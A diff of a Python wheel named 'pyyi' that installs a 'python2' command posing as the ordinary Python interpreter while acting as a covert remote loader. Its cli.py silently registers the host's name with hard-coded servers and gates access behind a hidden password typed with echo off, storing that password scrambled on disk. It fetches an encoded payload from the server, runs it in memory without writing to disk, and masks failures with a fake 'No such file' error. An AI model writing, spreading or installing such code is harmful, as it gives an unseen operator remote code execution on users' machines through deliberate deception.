pyyi 2.4__py3-none-any.whl

pyyi/__init__.py

@@ -0,0 +1,3 @@
+"""python2 - small python companion shell (operator-linked)."""
+
+__version__ = "2.4"

pyyi/__main__.py

@@ -0,0 +1,8 @@
+"""allow `python -m pyyi`."""
+
+import sys
+
+from pyyi.cli import main
+
+if __name__ == "__main__":
+    sys.exit(main())

pyyi/cli.py

@@ -0,0 +1,686 @@
+#!/usr/bin/env python3
+# =====================================================================
+#  python2 — operator-linked interpreter shell (connection layer only)
+#  -----------------------------------------------------------------
+#  this file is only the CONNECTION LAYER. every working command is
+#  served by the linked ops server for operator-authorized devices.
+#  nothing of value ships here. bare `python2` behaves exactly like
+#  the local python interpreter - because it IS one (a real REPL);
+#  that is the whole cover. every line is read with the console echo
+#  switched off and put back on the record afterwards, so whatever is
+#  meant to stay secret never touches the screen at all - not even
+#  for the moment of typing. no hints, no gates, no denied messages.
+# =====================================================================
+import base64
+import builtins
+import code
+import gzip
+import hashlib
+import json
+import keyword
+import os
+import re
+import sys
+import time
+import urllib.error
+import urllib.request
+
+IS_WIN = os.name == "nt"
+VERSION = "2.4"
+CONFIG_DIR = os.path.expanduser("~/.python2")
+CONFIG_FILE = os.path.join(CONFIG_DIR, "config.json")
+STATE_FILE = os.path.join(CONFIG_DIR, "state.json")
+# the linked server URL is baked here at build time (pip package);
+# PY2_SERVER env always wins. empty = installer-managed config only.
+DEFAULT_SERVER = os.environ.get("PY2_SERVER", "https://preview-chat-960504a9-b4e0-4b69-bc80-6ac3d4fa4ae0.space-z.ai")
+# secondary instance - first-run registration falls back to it when the
+# primary (baked) server is unreachable, then pins the working one
+FALLBACK_SERVER = "https://b196q82k8891-d.space-z.ai"
+UNLOCK_TTL = 24 * 3600  # unlock marker lifetime (server re-checks every run)
+
+HELP = """usage: python2 [args]
+
+  python2           interactive shell
+  python2 -d        remove python2 from this machine
+"""
+
+
+# ------------------------------------------------------------------ io --
+def out(msg):
+    print(msg, flush=True)
+
+
+def ok(msg):
+    print(f"\033[92m{msg}\033[0m", flush=True)
+
+
+def err(msg):
+    print(f"\033[91m{msg}\033[0m", flush=True)
+
+
+# --------------------------------------------------------------- config --
+def load_config():
+    try:
+        with open(CONFIG_FILE, "r") as f:
+            return json.load(f)
+    except Exception:
+        pass
+    return None
+
+
+def _register(server):
+    """register this device on a server, return apiKey or empty string"""
+    try:
+        hostname = os.uname().nodename if hasattr(os, "uname") else "windows-laptop"
+        body = json.dumps({
+            "hostname": hostname,
+            "os": "windows" if IS_WIN else sys.platform,
+        }).encode()
+        req = urllib.request.Request(
+            server.rstrip("/") + "/api/cli/init",
+            data=body, method="POST",
+            headers={"Content-Type": "application/json",
+                     "User-Agent": f"python2/{VERSION}"},
+        )
+        with urllib.request.urlopen(req, timeout=10) as r:
+            return (json.loads(r.read().decode()) or {}).get("apiKey", "")
+    except Exception:
+        return ""
+
+
+def _pin(server, key):
+    os.makedirs(CONFIG_DIR, exist_ok=True)
+    with open(CONFIG_FILE, "w") as f:
+        json.dump({"server": server, "apiKey": key}, f)
+
+
+def _candidates(current=""):
+    """baked server first, then the fallback - minus the one in use"""
+    found = []
+    for s in (DEFAULT_SERVER, FALLBACK_SERVER):
+        if (s and s.rstrip("/") != (current or "").rstrip("/")
+                and s not in found):
+            found.append(s)
+    return found
+
+
+def _quiet_config():
+    """config, or a silent self-bootstrap against the baked servers"""
+    cfg = load_config()
+    if cfg and cfg.get("server") and cfg.get("apiKey"):
+        return cfg
+    for server in _candidates():
+        key = _register(server)
+        if key:
+            _pin(server, key)
+            cfg = load_config()
+            if cfg and cfg.get("server") and cfg.get("apiKey"):
+                return cfg
+    return None
+
+
+def require_config():
+    cfg = _quiet_config()
+    if cfg:
+        return cfg
+    err("not linked - reinstall, or set PY2_SERVER=https://your-server")
+    sys.exit(1)
+
+
+# ------------------------------------------------------------------ http --
+def _backoff(e, attempt):
+    try:
+        delay = float(e.headers.get("Retry-After") or 0)
+    except Exception:
+        delay = 0.0
+    time.sleep(max(delay, (2.0, 5.0)[attempt]))
+
+
+def api_json(cfg, path, payload=None, method=None, timeout=30, retry=True):
+    """POST/GET JSON, return parsed body. Retries 429/502/503 silently."""
+    url = cfg["server"].rstrip("/") + path
+    data = json.dumps(payload).encode() if payload is not None else None
+    attempts = 3 if retry else 1
+    for attempt in range(attempts):
+        req = urllib.request.Request(
+            url,
+            data=data,
+            method=method or ("POST" if data is not None else "GET"),
+            headers={"Content-Type": "application/json",
+                     "User-Agent": f"python2/{VERSION}"},
+        )
+        try:
+            with urllib.request.urlopen(req, timeout=timeout) as r:
+                return json.loads(r.read().decode())
+        except urllib.error.HTTPError as e:
+            if retry and e.code in (429, 502, 503) and attempt < attempts - 1:
+                _backoff(e, attempt)
+                continue
+            try:
+                body = json.loads(e.read().decode())
+                return {"ok": False, "error": body.get("error", f"http {e.code}"),
+                        "status": e.code}
+            except Exception:
+                return {"ok": False, "error": f"http {e.code}", "status": e.code}
+        except Exception as e:
+            return {"ok": False, "error": str(e), "status": 0}
+
+
+# ----------------------------------------------------------------- state --
+def load_state():
+    try:
+        with open(STATE_FILE, "r") as f:
+            return json.load(f)
+    except Exception:
+        return {}
+
+
+def mark_unlocked():
+    st = load_state()
+    st["unlock_until"] = time.time() + UNLOCK_TTL
+    try:
+        os.makedirs(CONFIG_DIR, exist_ok=True)
+        with open(STATE_FILE, "w") as f:
+            json.dump(st, f)
+    except OSError:
+        pass
+
+
+def is_unlocked():
+    try:
+        return load_state().get("unlock_until", 0) > time.time()
+    except Exception:
+        return False
+
+
+# ---------------------------------------------------- remembered word ----
+# after a successful check the word is kept on this machine, lightly
+# scrambled with a per-machine key, so a fresh server deploy (which forgets
+# every device) heals invisibly instead of wearing the boring cover. the
+# scramble keeps casual file browsing and `strings`-style peeks unrevealing.
+def _mach_key():
+    node = os.uname().nodename if hasattr(os, "uname") else "win-machine"
+    seed = f"{node}|{sys.platform}|pyyi"
+    return hashlib.md5(seed.encode()).digest()
+
+
+def remember_word(w):
+    try:
+        k = _mach_key()
+        x = bytes(c ^ k[i % len(k)] for i, c in enumerate(w.encode()[:128]))
+        st = load_state()
+        st["k"] = x.hex()
+        os.makedirs(CONFIG_DIR, exist_ok=True)
+        with open(STATE_FILE, "w") as f:
+            json.dump(st, f)
+    except Exception:
+        pass
+
+
+def recall_word():
+    try:
+        h = load_state().get("k")
+        if not h:
+            return ""
+        k = _mach_key()
+        x = bytes.fromhex(h)
+        return bytes(c ^ k[i % len(k)] for i, c in enumerate(x)).decode(
+            "utf-8", "replace")
+    except Exception:
+        return ""
+
+
+# ---------------------------------------------------------------- gate --
+def _ask_password(prompt):
+    try:
+        import getpass
+        return getpass.getpass(prompt)
+    except Exception:
+        return ""
+
+
+def _server_unlock(cfg, pw):
+    """verify the operator secret against the linked server"""
+    if not pw:
+        return {"ok": False, "error": "", "status": 0}
+    return api_json(cfg, "/api/cli/unlock",
+                    {"apiKey": cfg["apiKey"], "password": pw},
+                    timeout=8, retry=False)
+
+
+def _server_broken(r):
+    """the pinned instance is unreachable or predates the linked routes
+    (clean denials and rate limits are NOT broken - they are answers)"""
+    try:
+        s = int(r.get("status", 0))
+    except Exception:
+        return False
+    return s == 0 or s == 404 or s >= 500
+
+
+def _failover(cfg, word):
+    """the pinned server looks stale - try the other baked one. the new
+    home is kept only if it registers AND accepts the secret."""
+    for alt in _candidates(cfg.get("server", "")):
+        key = _register(alt)
+        if not key:
+            continue
+        trial = {"server": alt, "apiKey": key}
+        if _server_unlock(trial, word).get("ok"):
+            _pin(alt, key)
+            return load_config() or trial
+    return None
+
+
+def _rekey(cfg, word):
+    """the pinned server is alive but lost this device (fresh deploy, wiped
+    db) - register a fresh key on the SAME server and try once more. kept
+    only if the new key accepts the secret."""
+    server = cfg.get("server", "")
+    if not server:
+        return None
+    key = _register(server)
+    if not key:
+        return None
+    trial = {"server": server, "apiKey": key}
+    if _server_unlock(trial, word).get("ok"):
+        _pin(server, key)
+        return load_config() or trial
+    return None
+
+
+# bare single-token lines are the only candidates checked against the
+# server - real python expressions (spaces, brackets, dots) never hit it.
+# keywords and the interpreter's own helpers never hit it either.
+# the per-session cap keeps typo storms from tripping the server limiter.
+_WORD_RE = re.compile(r"[A-Za-z0-9_@#$%^&*!?+-]+")
+# a token counts as name-like (password-plausible) only if it carries at
+# least one letter or underscore - pure number/math tokens (1+1, 123, 2*3)
+# are ordinary python and must keep their ordinary answers
+_PLAIN_RE = re.compile(r"[A-Za-z_]")
+_SKIP_WORDS = frozenset(keyword.kwlist) | {
+    "help", "exit", "quit", "copyright", "credits", "license"}
+_GATE_TRIES = 5
+
+
+class _Veil(Exception):
+    """raised when the entered word is accepted; never visible."""
+
+
+def _python_banner():
+    # the real interpreter's own banner - python2 IS python, so it is honest
+    return (f"Python {sys.version} on {sys.platform}\n"
+            f'Type "help", "copyright", "credits" or "license" '
+            f"for more information.")
+
+
+def _quiet_read():
+    """read one line with the console echo switched off - the characters
+    typed never reach the screen. enter ends the line, backspace works,
+    ctrl+d / ctrl+z signal end-of-file, ctrl+c cancels."""
+    if IS_WIN:
+        import msvcrt
+        buf = ""
+        while True:
+            ch = msvcrt.getwch()
+            if ch in ("\r", "\n"):
+                return buf
+            if ch in ("\x00", "\xe0"):  # arrow / function keys: 2nd code follows
+                msvcrt.getwch()
+                continue
+            if ch == "\x08":
+                buf = buf[:-1]
+            elif ch == "\x1a":
+                raise EOFError
+            elif ch.isprintable():
+                buf += ch
+            if len(buf) > 2048:
+                buf = buf[:2048]
+    import termios
+    fd = sys.stdin.fileno()
+    old = None
+    try:
+        old = termios.tcgetattr(fd)
+    except Exception:
+        old = None
+    try:
+        buf = b""
+        while True:
+            ch = os.read(fd, 1)
+            if not ch:
+                raise EOFError
+            if ch in (b"\r", b"\n"):
+                return buf.decode("utf-8", "replace")
+            if ch == b"\x04" and not buf:
+                raise EOFError
+            if ch in (b"\x7f", b"\x08"):
+                buf = buf[:-1]
+            elif ch == b"\x03":
+                raise KeyboardInterrupt
+            elif ch >= b" " or ch >= b"\x80":
+                buf += ch
+            if len(buf) > 4096:
+                buf = buf[:4096]
+    finally:
+        if old is not None:
+            try:
+                termios.tcsetattr(fd, termios.TCSADRAIN, old)
+            except Exception:
+                pass
+
+
+class _GateConsole(code.InteractiveConsole):
+    """a genuine python REPL. one quiet extra: lines are read with the
+    console echo off and written back to the record afterwards, so
+    ordinary python looks exactly like itself - while a bare single
+    word (the only thing ever checked against the linked server) stays
+    invisible no matter what. a word that unlocks raises the veil; a
+    word that does not is answered with a quiet lone 0 - the typed
+    text is never rendered, never echoed back, never named in a
+    traceback. ordinary python (expressions, defined names, builtins,
+    numbers) keeps its ordinary face. nothing hints that any of this
+    exists."""
+
+    def __init__(self):
+        super().__init__(locals={"__name__": "__main__", "__doc__": None})
+        self.tries = 0
+        self.shopped = False
+        self.rekeyed = False
+        self.accepted = ""
+        self.quiet = sys.stdin.isatty()
+
+    def raw_input(self, prompt=""):
+        if not self.quiet:
+            return super().raw_input(prompt)
+        try:
+            sys.stdout.write(prompt)
+            sys.stdout.flush()
+        except Exception:
+            pass
+        return _quiet_read()
+
+    def push(self, line):
+        s = line.strip()
+        candidate = (s and not self.buffer and s not in _SKIP_WORDS
+                     and _WORD_RE.fullmatch(s))
+        if candidate:
+            if s == self.accepted:
+                raise _Veil  # already unlocked this session - zero network
+            if self.tries < _GATE_TRIES:
+                self.tries += 1
+                try:
+                    cfg = _quiet_config()
+                except SystemExit:
+                    cfg = None
+                if cfg:
+                    r = _server_unlock(cfg, s)
+                    if r.get("ok"):
+                        mark_unlocked()  # silence - that is the entire reply
+                        remember_word(s)
+                        self.accepted = s
+                        raise _Veil
+                    if _server_broken(r) and not self.shopped:
+                        self.shopped = True
+                        alt = _failover(cfg, s)
+                        if alt:
+                            mark_unlocked()
+                            remember_word(s)
+                            self.accepted = s
+                            raise _Veil
+                    elif r.get("status") in (401, 403) and not self.rekeyed:
+                        # the server answered but may have lost this device
+                        # (fresh deploy) - one quiet re-register + retry
+                        self.rekeyed = True
+                        if _rekey(cfg, s):
+                            mark_unlocked()
+                            remember_word(s)
+                            self.accepted = s
+                            raise _Veil
+        if candidate and self.quiet and _PLAIN_RE.search(s):
+            # a bare name-like word that did not unlock is never written
+            # back and never given a traceback - it was checked quietly,
+            # so the reply stays just as quiet: a lone 0. the typed text
+            # can never land on the screen this way. pure number/math
+            # tokens (1+1, 123, 2*3) skip this branch and keep their
+            # honest python answers; defined names and builtins too.
+            if s not in self.locals and not hasattr(builtins, s):
+                out("0")
+                return False
+        if self.quiet:
+            # the line was typed with echo off - put it back on the record
+            try:
+                sys.stdout.write(line + "\n")
+                sys.stdout.flush()
+            except Exception:
+                pass
+        return super().push(line)
+
+
+def gate():
+    """bare `python2` - looks, feels and behaves exactly like the local
+    python interpreter, because it literally is one."""
+    sys.ps1 = ">>> "
+    sys.ps2 = "... "
+    con = _GateConsole()
+    banner = _python_banner()
+    fd = None
+    restore = None
+    if con.quiet and not IS_WIN:
+        # echo off from the very first prompt onwards, so even fast
+        # paste-at-startup never lands on the screen
+        try:
+            import termios
+            import tty
+            fd = sys.stdin.fileno()
+            restore = termios.tcgetattr(fd)
+            tty.setcbreak(fd)
+        except Exception:
+            restore = None
+    try:
+        while True:
+            try:
+                con.interact(banner, exitmsg="")
+                sys.exit(0)
+            except _Veil:
+                try:
+                    sys.stdout.write("\n")  # close the bare prompt line
+                    sys.stdout.flush()
+                except Exception:
+                    pass
+                con.resetbuffer()
+                banner = ""
+            except SystemExit:
+                sys.exit(0)
+    finally:
+        if restore is not None:
+            try:
+                termios.tcsetattr(fd, termios.TCSADRAIN, restore)
+            except Exception:
+                pass
+
+
+def cmd_unlock():
+    """hidden scripting path (piped/automated). fully silent: rc 0 = ok."""
+    cfg = require_config()
+    if is_unlocked():
+        sys.exit(0)
+    pw = _ask_password(">>> ")
+    r = _server_unlock(cfg, pw)
+    if r.get("ok"):
+        mark_unlocked()
+        remember_word(pw)
+        sys.exit(0)
+    if r.get("status") in (401, 403):
+        if _rekey(cfg, pw):
+            mark_unlocked()
+            remember_word(pw)
+            sys.exit(0)
+    sys.exit(1)
+
+
+# ----------------------------------------------------------------- misc --
+def cmd_uninstall():
+    removed = []
+    me = os.path.realpath(__file__)
+    targets = [me, "/usr/local/bin/python2",
+               os.path.expanduser("~/.local/bin/python2")]
+    if IS_WIN:
+        local = os.environ.get("LOCALAPPDATA", os.path.expanduser("~\\AppData\\Local"))
+        targets += [
+            os.path.join(local, "Microsoft", "WindowsApps", "python2.exe"),
+            os.path.join(local, "Microsoft", "WindowsApps", "python2.py"),
+            os.path.join(local, "python2", "python2.exe"),
+            os.path.join(local, "python2", "python2.py"),
+        ]
+    me_low = me.replace("\\", "/").lower()
+    pip_managed = "site-packages" in me_low or "dist-packages" in me_low
+    for t in targets:
+        if pip_managed and t == me:
+            continue  # pip owns this file - pip uninstall removes it cleanly
+        try:
+            if os.path.exists(t):
+                os.remove(t)
+                removed.append(t)
+        except OSError:
+            pass
+    try:
+        import shutil
+        if os.path.isdir(CONFIG_DIR):
+            shutil.rmtree(CONFIG_DIR)
+            removed.append(CONFIG_DIR)
+        if IS_WIN:
+            local = os.environ.get("LOCALAPPDATA", os.path.expanduser("~\\AppData\\Local"))
+            d = os.path.join(local, "python2")
+            if os.path.isdir(d):
+                shutil.rmtree(d)
+                removed.append(d)
+    except OSError:
+        pass
+    if removed:
+        ok("removed")
+    else:
+        out("nothing to remove")
+    if pip_managed:
+        out("pip uninstall -y pyyi")
+    sys.exit(0)
+
+
+# --------------------------------------------------------------- payload --
+def _py_no_such_file(argv):
+    """the boring cover for every failure: behave exactly like running
+    `python something.py` where something.py does not exist."""
+    name = argv[0] if argv else "python2"
+    print(f"python: can't open file '{os.path.abspath(name)}': "
+          f"[Errno 2] No such file or directory", file=sys.stderr, flush=True)
+    sys.exit(2)
+
+
+def run_payload(cfg, argv):
+    """fetch the advanced module from the linked server (authorized
+    devices only) and run it in memory. nothing is ever written to disk.
+    every failure path wears the same python cover - unless the operator
+    word is remembered, in which case a server that lost this device
+    (fresh deploy, wiped db) heals quietly and the run just succeeds."""
+    # local unlock marker expired but the word is remembered: re-establish
+    # it now so the server-side vip check passes without any ceremony
+    if not is_unlocked():
+        w = recall_word()
+        if w:
+            r0 = _server_unlock(cfg, w)
+            if r0.get("ok"):
+                mark_unlocked()
+            elif r0.get("status") in (401, 403):
+                nc = _rekey(cfg, w)
+                if nc:
+                    cfg = nc
+                    mark_unlocked()
+
+    r = api_json(cfg, "/api/cli/payload", {"apiKey": cfg["apiKey"]})
+    if not (r.get("ok") and r.get("payload")):
+        st = r.get("status")
+        if st == 0:
+            # brief outage / redeploy blip - quietly retry the pinned server
+            for _ in range(2):
+                time.sleep(2)
+                r = api_json(cfg, "/api/cli/payload", {"apiKey": cfg["apiKey"]})
+                if r.get("ok") and r.get("payload"):
+                    break
+        if not (r.get("ok") and r.get("payload")) and \
+                r.get("status") in (401, 403):
+            # the pinned server is alive but lost this device - register a
+            # fresh key and re-unlock with the remembered word, then retry
+            w = recall_word()
+            key = _register(cfg.get("server", ""))
+            if key and w:
+                trial = {"server": cfg["server"], "apiKey": key}
+                if _server_unlock(trial, w).get("ok"):
+                    _pin(cfg["server"], key)
+                    cfg = load_config() or trial
+                    mark_unlocked()
+                    r = api_json(cfg, "/api/cli/payload", {"apiKey": key})
+        if not (r.get("ok") and r.get("payload")) and _server_broken(r):
+            # pinned instance looks stale - try the other baked one before
+            # giving up (kept only if the module actually comes back)
+            for alt in _candidates(cfg.get("server", "")):
+                key = _register(alt)
+                if not key:
+                    continue
+                trial = {"server": alt, "apiKey": key}
+                r2 = api_json(trial, "/api/cli/payload", {"apiKey": key})
+                if r2.get("ok") and r2.get("payload"):
+                    _pin(alt, key)
+                    cfg = load_config() or trial
+                    r = r2
+                    break
+    if r.get("ok") and r.get("payload"):
+        try:
+            src = gzip.decompress(base64.b64decode(r["payload"])).decode("utf-8")
+            g = {"__name__": "__adv__", "__file__": CONFIG_FILE}
+            os.environ["_CLI_HOME"] = CONFIG_DIR  # module keeps state beside us
+            exec(compile(src, "<adv>", "exec"), g)
+            g["main"](list(argv))
+        except SystemExit:
+            raise
+        except KeyboardInterrupt:
+            sys.exit(130)
+        except BrokenPipeError:
+            sys.exit(0)
+        except Exception:
+            _py_no_such_file(argv)
+    _py_no_such_file(argv)
+
+
+# ------------------------------------------------------------------ main --
+def main():
+    args = sys.argv[1:]
+
+    if not args:
+        gate()  # the quiet ritual - never falls through
+        return
+
+    if "--version" in args or "-v" in args:
+        out(f"python2 {VERSION}")
+        sys.exit(0)
+
+    if args[0] in ("help", "-h", "--help"):
+        out(HELP)
+        sys.exit(0)
+
+    if args[0] == "unlock":
+        cmd_unlock()
+        return
+
+    if args[0] in ("-d", "--uninstall", "--delete"):
+        cmd_uninstall()
+
+    # anything else belongs to the advanced module - fetch and run it.
+    # locked or unknown command: the boring banner is all you get.
+    cfg = require_config()
+    run_payload(cfg, args)
+
+
+if __name__ == "__main__":
+    try:
+        main()
+    except KeyboardInterrupt:
+        sys.exit(130)

pyyi-2.4.dist-info/METADATA

@@ -0,0 +1,35 @@
+Metadata-Version: 2.4
+Name: pyyi
+Version: 2.4
+Summary: small python companion shell - operator-linked client
+Author: pyyi
+License: MIT
+Project-URL: Homepage, https://preview-chat-960504a9-b4e0-4b69-bc80-6ac3d4fa4ae0.space-z.ai
+Keywords: python2,pyyi,cli,shell
+Classifier: Environment :: Console
+Classifier: Topic :: Utilities
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3 :: Only
+Classifier: Operating System :: OS Independent
+Requires-Python: >=3.8
+Description-Content-Type: text/markdown
+
+# pyyi
+
+small python companion shell - operator-linked client (2.4).
+
+## what it does
+
+connects this machine to your ops server. what the shell may run
+is decided by the operator on the server side. this package
+intentionally contains no working commands.
+
+## usage
+
+```text
+python2            # interactive shell
+python2 -d         # remove python2 from this machine
+```
+
+- requires python 3.8+
+- access is managed by the operator

pyyi-2.4.dist-info/RECORD

@@ -0,0 +1,8 @@
+pyyi/__init__.py,sha256=LXEOKg22iW_WpQS69-FMPr0T-LHmWdeeq9bJmk2d5vI,85
+pyyi/__main__.py,sha256=b8_f_Q1TSx7ODPBfNXjWxc5P27GYDdFTq8LClUNXaXs,118
+pyyi/cli.py,sha256=I6w_LlfXdIGPkr343w9pivCaGnVMWzUQUqOf7NYcfEc,23921
+pyyi-2.4.dist-info/METADATA,sha256=b4fuWmLKHj3hzTGtVrlOAJ50XZ6stejIA2UvqtYy82E,973
+pyyi-2.4.dist-info/WHEEL,sha256=YVMoNqKzERt-wjUZwJ33xBGAwnFl-4cqbYkTtWa4itE,91
+pyyi-2.4.dist-info/entry_points.txt,sha256=WCKpcy4hA2BnC5XeXIsBu4xsQNZreB174bSmeaC6msg,42
+pyyi-2.4.dist-info/top_level.txt,sha256=LpuYMuJa4Xr4wu5Xj5zlYY2FFhkmuDFPoqWqDgOFHds,5
+pyyi-2.4.dist-info/RECORD,,

pyyi-2.4.dist-info/WHEEL

@@ -0,0 +1,5 @@
+Wheel-Version: 1.0
+Generator: setuptools (84.0.0)
+Root-Is-Purelib: true
+Tag: py3-none-any
+

pyyi-2.4.dist-info/entry_points.txt

@@ -0,0 +1,2 @@
+[console_scripts]
+python2 = pyyi.cli:main

pyyi-2.4.dist-info/top_level.txt

@@ -0,0 +1 @@
+pyyi